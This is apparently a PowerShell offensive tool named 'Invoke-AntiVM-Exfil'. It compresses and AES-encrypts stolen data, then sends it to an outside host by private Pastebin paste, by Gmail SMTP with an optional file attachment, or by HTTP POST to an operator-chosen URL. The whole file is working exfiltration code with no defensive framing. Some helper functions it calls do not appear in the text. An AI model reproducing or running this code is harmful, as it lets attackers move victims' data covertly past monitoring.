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Invoke-AntiVM-Exfil.ps1
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Invoke-AntiVM-Exfil.ps1
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function Get-Compressed-String {
[CmdletBinding()]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[string] $text= $(Throw("-string is required"))
)
Process {
[System.Text.Encoding] $enc = [System.Text.Encoding]::UTF8
[byte[]] $byteArray = $enc.GetBytes( $text )
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
$gzipStream.Write( $byteArray, 0, $byteArray.Length )
$gzipStream.Close()
$output.Close()
return $output.ToArray()
}
}
function Encrypt-Bytes($key, $bytes) {
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.Convert]::ToBase64String($fullData)
}
function Exfiltrate {
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$ID,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$Data,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$Key,
[Parameter(Position = 3, Mandatory = $True)]
[String]
$ExfilOption,
[Parameter(Position = 4, Mandatory = $False)]
[String]
$dev_key,
[Parameter(Position = 5, Mandatory = $False)]
[String]
$username,
[Parameter(Position = 6, Mandatory = $False)]
[String]
$password,
[Parameter(Position = 7, Mandatory = $False)]
[String]
$URL
)
function post_http($url, $parameters) {
$http_request = New-Object -ComObject Msxml2.XMLHTTP
$http_request.open("POST", $url, $false)
$http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
$http_request.setRequestHeader("Content-length", $parameters.length);
$http_request.setRequestHeader("Connection", "close")
$http_request.send($parameters)
return $http_request.responseText,$http_request.status
}
if ($exfiloption -eq "pastebin") {
$session_key,$code = post_http "https://pastebin.com/api/api_login.php" "api_dev_key=$dev_key&api_user_name=$username&api_user_password=$password"
$http_oky_codes = 200,201,202
if ($http_oky_codes.Contains($code))
{
if ($session_key -like '*Bad*')
{
Write-Debug "Session key $($session_key)"
return $code
}
else{
$compressed = Get-Compressed-String $Data
Write-Debug "Compressed completed size $($compressed.length)"
$encrypted = Encrypt-Bytes $Key $compressed
Write-Debug "Encrypted completed size $($encrypted.length)"
Write-Host $encrypted
$link,$code = post_http "https://pastebin.com/api/api_post.php" "api_user_key=$session_key&api_option=paste&api_dev_key=$dev_key&api_paste_name=$ID&api_paste_code=$encrypted&api_paste_private=2"
if ($http_oky_codes.Contains($code))
{
return $link
}
else{
return $code
}
}
}
else{
return $code
}
}
elseif ($exfiloption -eq "gmail") {
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
$encrypted = Encrypt-JSON -KeyAES $Key -Payload $Data
$smtpserver = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
$msg.From = "$username@gmail.com"
$msg.To.Add("$username@gmail.com")
$msg.Subject = $ID
$msg.Body = $encrypted
if ($filename) {
$att = new-object Net.Mail.Attachment($filename)
$msg.Attachments.Add($att)
}
$smtp.Send($msg)
return $encrypted
}
elseif ($exfiloption -eq "webserver") {
$encrypted = Encrypt-JSON -KeyAES $Key -Payload $Data
$Data = Compress-Encode $encrypted
post_http $URL $Data
return $encrypted
}
}